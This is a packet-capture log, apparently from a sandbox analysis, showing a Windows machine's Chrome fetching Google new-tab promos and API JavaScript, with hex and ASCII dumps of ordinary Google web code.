2024-11-19 23:19:07 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-19 23:19:07 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-19 23:19:07 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 38 30 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700280,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-19 23:19:07 UTC	1390	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 Data Ascii: ray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i
2024-11-19 23:19:07 UTC	1390	IN	Data Raw: 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 Data Ascii: ow Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(
2024-11-19 23:19:07 UTC	1390	IN	Data Raw: 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c Data Ascii: uerySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.me\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"cl
2024-11-19 23:19:07 UTC	1390	IN	Data Raw: 6e 20 5f 2e 6f 65 28 64 6f 63 75 6d 65 6e 74 2c 61 29 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 5c 75 30 30 33 64 53 74 72 69 6e 67 28 62 29 3b 61 2e 63 6f 6e 74 65 6e 74 54 79 70 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 28 62 5c 75 30 30 33 64 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 62 29 7d 3b 5f 2e 73 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6c 65 74 20 62 3b 66 6f 72 28 3b 62 5c 75 30 30 33 64 61 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 61 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 29 7d 3b 5f 2e Data Ascii: n _.oe(document,a)};_.oe\u003dfunction(a,b){b\u003dString(b);a.contentType\u003d\u003d\u003d\"application/xhtml+xml\"\u0026\u0026(b\u003db.toLowerCase());return a.createElement(b)};_.se\u003dfunction(a){let b;for(;b\u003da.firstChild;)a.removeChild(b)};_.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	142.250.184.228	443	320	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:06 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 23:19:07 UTC	933	IN	HTTP/1.1 200 OK Version: 696417149 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 19 Nov 2024 23:19:07 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-19 23:19:07 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-19 23:19:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49719	142.250.185.174	443	320	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:09 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 23:19:09 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 19 Nov 2024 18:52:56 GMT Expires: Wed, 19 Nov 2025 18:52:56 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 15973 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-19 23:19:09 UTC	475	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-19 23:19:09 UTC	1390	IN	Data Raw: 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 Data Ascii: n a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw E
2024-11-19 23:19:09 UTC	1390	IN	Data Raw: 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e Data Ascii: efined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.assign=="function"?Object.
2024-11-19 23:19:09 UTC	1390	IN	Data Raw: 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 3a 68 28 74 68 69 73 2e 54 4a 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 53 64 61 3d 66 75 6e 63 74 69 Data Ascii: ;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject:h(this.TJ)}};e.prototype.Sda=functi
2024-11-19 23:19:09 UTC	1390	IN	Data Raw: 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 6b 29 7b 76 61 72 20 6c 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 2e 63 61 6c 6c 28 6b 2c 6c 2e 72 65 73 6f 6c 76 65 Data Ascii: totype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=function(h,k){var l=this.jF();try{h.call(k,l.resolve
2024-11-19 23:19:09 UTC	1390	IN	Data Raw: 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 66 26 26 63 3c 65 3b 29 69 66 28 64 5b 63 2b 2b 5d 21 3d 62 5b 68 2b 2b 5d 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 20 68 3e 3d 66 7d 7d Data Ascii: egular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for(var h=0;h<f&&c<e;)if(d[c++]!=b[h++])return!1;return h>=f}}
2024-11-19 23:19:09 UTC	1390	IN	Data Raw: 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 63 28 6c 29 26 26 73 61 28 6c 2c 66 29 3f 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3a 76 6f 69 64 Data Ascii: (l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return this};k.prototype.get=function(l){return c(l)&&sa(l,f)?l[f][this.Ga]:void
2024-11-19 23:19:09 UTC	1390	IN	Data Raw: 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 21 21 64 28 74 68 69 73 2c 6b 29 2e 5a 65 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: h\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this.size=0};c.prototype.has=function(k){return!!d(this,k).Ze};c.prototype.get=function(
2024-11-19 23:19:09 UTC	1390	IN	Data Raw: 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 75 72 6e 21 31 3b 66 3d 65 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 3d 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 2e 78 21 3d 34 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 3f 21 31 3a 65 2e 6e 65 Data Ascii: ]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)return!1;f=e.next();return f.done\|\|f.value[0]==c\|\|f.value[0].x!=4\|\|f.value[1]!=f.value[0]?!1:e.ne
